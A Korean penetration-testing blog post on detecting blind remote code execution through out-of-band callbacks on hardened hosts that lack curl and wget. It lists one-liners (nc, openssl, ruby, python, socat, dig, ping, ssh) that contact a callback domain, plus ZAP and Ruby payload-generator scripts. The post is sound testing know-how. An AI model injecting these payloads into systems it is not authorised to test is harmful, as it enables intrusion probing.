System Hardening을 피해 RCE를 탐지하기 위한 OOB 방법들

여러분들은 RCE(Remote Code Execution)를 식별하기 위해 어떤 방법을 사용하고 있나요? 저는 개인적으로 OOB(Out-of-band)를 즐겨서 사용합니다. Sleep 등 time 기반도 정확 하지만, 비동기 로직이 많은 요즘 time 보단 oob가 더 정확하다고 생각이 드네요. (물론 둘 다 체크하지만요 😊)

OOB!!

물론 서비스의 인프라에 따라서 외부로의 Outbound 요청이 제한되는 곳이 많을겁니다. 다만 보통 일반적인 트래픽에 대한 제한이 있지, DNS Query 까지 막는 경우는 많지 않습니다. (내부 DNS를 타고 공격자의 도메인을 쿼리하면 결국 공격자는 OOB로 웹 요청을 시도했다는 것을 알 있죠)

서론이 좀 길었는데요, 이러한 OOB를 조금 더 잘 사용하기 위한 테크닉을 간단하게 공유하려고 합니다. 그럼 시작하죠.

TL;DR

System Hardening

많은 종류의 시스템 하드닝 가이드(e.g suse)들에선 사용하지 않는 패키지를 제거하라고 가이드되고 있습니다. 그리고 도커 환경인 경우 scratch 이미지나 buster 이미지 등 일부 패키지가 제거된 이미지가 사용되는 경우도 많습니다.

command not found: curl

이러한 방법은 시스템 보안에선 효과적인 보안 정책 중 하나인데요. 공격자의 피로도를 굉장히 증가시키기 때문에 쉽게 포기하게 하거나, 실제로 시스템이 취약하더라도 OOB 등으로 이를 쉽게 식별하지 못하게 억제할 수 있습니다. 그리고 이렇게 불필요한 패키지 제거 항목에는 대표적으로 curl 과 wget이 있는데요.

그럼 이러한 명령어 없이 HTTP/DNS Query를 만들 수 있는 방법들을 알아봅시다 🚀

Make HTTP Request

Basic (curl/wget)

curl

curl <OAST>

wget

wget <OAST>

Using openssl

# Usage
openssl s_client -connect <OAST>:<OAST-PORT>

# Example
openssl s_client -connect 34663tcfu2qgabff6mhlp32osi.odiss.eu:443

Using netcat

# Usage
echo -e "GET / HTTP/1.1\nHost: <OAST>\n\n" | nc <OAST> <OAST-PORT>

# Example
echo -e "GET / HTTP/1.1\nHost: 34663tcfu2qgabff6mhlp32osi.odiss.eu\n\n" \
| nc 34663tcfu2qgabff6mhlp32osi.odiss.eu 80

Using ruby

code

require 'net/http'
Net::HTTP.get(URI.parse('http://<OAST>'))

in shell

# Usage 
ruby -e "require 'net/http';Net::HTTP.get(URI.parse('http://<OAST>'))"

# Example
ruby -e "require 'net/http';Net::HTTP.get(URI.parse('http://34663tcfu2qgabff6mhlp32osi.odiss.eu'))"

Using python

import requests 
response = requests.get('http://<OAST>')

in shell

# Usage 
python3 -c "import requests;response = requests.get('http://<OAST>')"

# Example
python3 -c "import requests;response = requests.get('http://34663tcfu2qgabff6mhlp32osi.odiss.eu')"

Using socket

# Usage
echo -e "GET / HTTP/1.1\nHost: <OAST>\n\n" | socat unix-connect:/var/run/docker.sock STDIO

# Example
echo -e "GET / HTTP/1.1\nHost: <OAST>\n\n" | socat unix-connect:/var/run/docker.sock STDIO

Make Only DNS Query

Using nslookup

# Usage
nslookup <OAST>

# Example
nslookup 34663tcfu2qgabff6mhlp32osi.odiss.eu

Using dig

# Usage
dig <OAST>

# Example
dig 34663tcfu2qgabff6mhlp32osi.odiss.eu

Using ping

# Usage
ping <OAST>

# Example
ping 34663tcfu2qgabff6mhlp32osi.odiss.eu

Using traceroute

# Usage
traceroute <OAST>

# Example
traceroute 34663tcfu2qgabff6mhlp32osi.odiss.eu

Using ssh

# Usage
ssh <OAST>

#Example
ssh 34663tcfu2qgabff6mhlp32osi.odiss.eu

Scripting

매번 주소 바꾸기 귀찮으니 코드로 남겨둡시다.

In ZAP

var oast = ""
var Control = Java.type("org.parosproxy.paros.control.Control")
var extOast = Control.getSingleton().getExtensionLoader().getExtension("ExtensionOast")
var boast = extOast.getBoastService()
var registeredServers = boast.getRegisteredServers()
var oast = ""
var pattern = [
  "curl <OAST>",
  "wget <OAST>",
  "openssl s_client -connect <OAST>:443",
  "echo -e \"GET / HTTP/1.1\\nHost: <OAST>\\n\\n\" | nc <OAST> 80",
  "ruby -e \"require 'net/http';Net::HTTP.get(URI.parse('http://<OAST>'))\"",
  "python3 -c \"import requests;response = requests.get('http://<OAST>')\"",
  "echo -e \"GET / HTTP/1.1\\nHost: <OAST>\\n\\n\" | socat unix-connect:/var/run/docker.sock STDIO",
  "echo -e \"GET / HTTP/1.1\\nHost: <OAST>\\n\\n\" | socat unix-connect:/var/run/docker.sock STDIO",
  "nslookup <OAST>",
  "dig <OAST>",
  "ping <OAST>",
  "traceroute <OAST>",
  "ssh <OAST>"
]
var NUMBER_OF_PAYLOADS = pattern.length-1;
var INITIAL_VALUE = 0;
var count = INITIAL_VALUE;

if (registeredServers.isEmpty()) {
    print("No Servers Registered.")
} else {
    oast = registeredServers[0].getPayload()
}

function getNumberOfPayloads() {
	return NUMBER_OF_PAYLOADS;
}

function hasNext() {
	return (count <= NUMBER_OF_PAYLOADS);
}

function next() {
	payload = pattern[count].replaceAll("<OAST>", oast);
	count++;
	return payload;
}

function reset() {
	count = INITIAL_VALUE;
}

function close() {
}
  • ZAP Script (payloadgenerator)
  • Engine: ECMAScript : Oracle Nashorn
  • https://github.com/hahwul/fuzzstone/blob/main/zap-scripts/payloadgenerator/blindRCEwithOAST.js

ZAP > Fuzz > Payloads > Scripting

Using Ruby

pattern = [
  "curl <OAST>",
  "wget <OAST>",
  "openssl s_client -connect <OAST>:443",
  "echo -e \"GET / HTTP/1.1\\nHost: <OAST>\\n\\n\" | nc <OAST> 80",
  "ruby -e \"require 'net/http';Net::HTTP.get(URI.parse('http://<OAST>'))\"",
  "python3 -c \"import requests;response = requests.get('http://<OAST>')\"",
  "echo -e \"GET / HTTP/1.1\\nHost: <OAST>\\n\\n\" | socat unix-connect:/var/run/docker.sock STDIO",
  "echo -e \"GET / HTTP/1.1\\nHost: <OAST>\\n\\n\" | socat unix-connect:/var/run/docker.sock STDIO",
  "nslookup <OAST>",
  "dig <OAST>",
  "ping <OAST>",
  "traceroute <OAST>",
  "ssh <OAST>"
]

puts "Enter OAST Domain"
domain = gets.chomp
puts "\n=== payloads ==="
pattern.each {|payload| puts payload.sub("<OAST>",domain)}

Result

ruby 1.rb
Enter OAST Domain
34663tcfu2qgabff6mhlp32osi.odiss.eu

=== payloads ===
curl 34663tcfu2qgabff6mhlp32osi.odiss.eu
wget 34663tcfu2qgabff6mhlp32osi.odiss.eu
openssl s_client -connect 34663tcfu2qgabff6mhlp32osi.odiss.eu:443
echo -e "GET / HTTP/1.1\nHost: 34663tcfu2qgabff6mhlp32osi.odiss.eu\n\n" | nc <OAST> 80
ruby -e "require 'net/http';Net::HTTP.get(URI.parse('http://34663tcfu2qgabff6mhlp32osi.odiss.eu'))"
python3 -c "import requests;response = requests.get('http://34663tcfu2qgabff6mhlp32osi.odiss.eu')"
echo -e "GET / HTTP/1.1\nHost: 34663tcfu2qgabff6mhlp32osi.odiss.eu\n\n" | socat unix-connect:/var/run/docker.sock STDIO
echo -e "GET / HTTP/1.1\nHost: 34663tcfu2qgabff6mhlp32osi.odiss.eu\n\n" | socat unix-connect:/var/run/docker.sock STDIO
nslookup 34663tcfu2qgabff6mhlp32osi.odiss.eu
dig 34663tcfu2qgabff6mhlp32osi.odiss.eu
ping 34663tcfu2qgabff6mhlp32osi.odiss.eu
traceroute 34663tcfu2qgabff6mhlp32osi.odiss.eu
ssh 34663tcfu2qgabff6mhlp32osi.odiss.eu